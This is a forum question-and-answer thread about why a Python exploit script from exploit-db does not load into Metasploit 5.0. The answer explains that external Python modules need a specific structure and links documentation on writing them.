Before adding it there were 1822 exploits in Metasploit, after adding the new one it should have got increased, but it remained the same. It does not detect the new one.

I have also tried running msfupdate, I thought updating the whole framework could change something. But its all the same.

Version

I'm running metasploit v5.0.0-dev-39aff8d.

I have installed it from https://github.com/rapid7/metasploit-framework.git

OS

My OS is Ubuntu 16.04 LTS

..
..
..

Some minimum clue would mean great help. Thank you.

After checking the link you provided on comments to the exploit you are trying to import on Metasploit, I must say that it is not compatible to Metasploit. I mean, the script you are trying to import never is going to work on Metasploit. This is the link you provided on the comments: https://www.exploit-db.com/exploits/40136/

Metasploit now has the feature to import python modules, that's true but it is not able to import any python script. The script must have a structure. A python script that can be imported to Metasploit should follow these rules: https://github.com/rapid7/metasploit-framework/wiki/Writing-External-Python-Modules

Bear in mind that the module must be able to "talk" to Metasploit interface. There is a couple of links you can read about how to deal with it:

http://www.primalsecurity.net/python-for-metasploit-automation/

https://www.optiv.com/blog/scripting-metasploit-with-python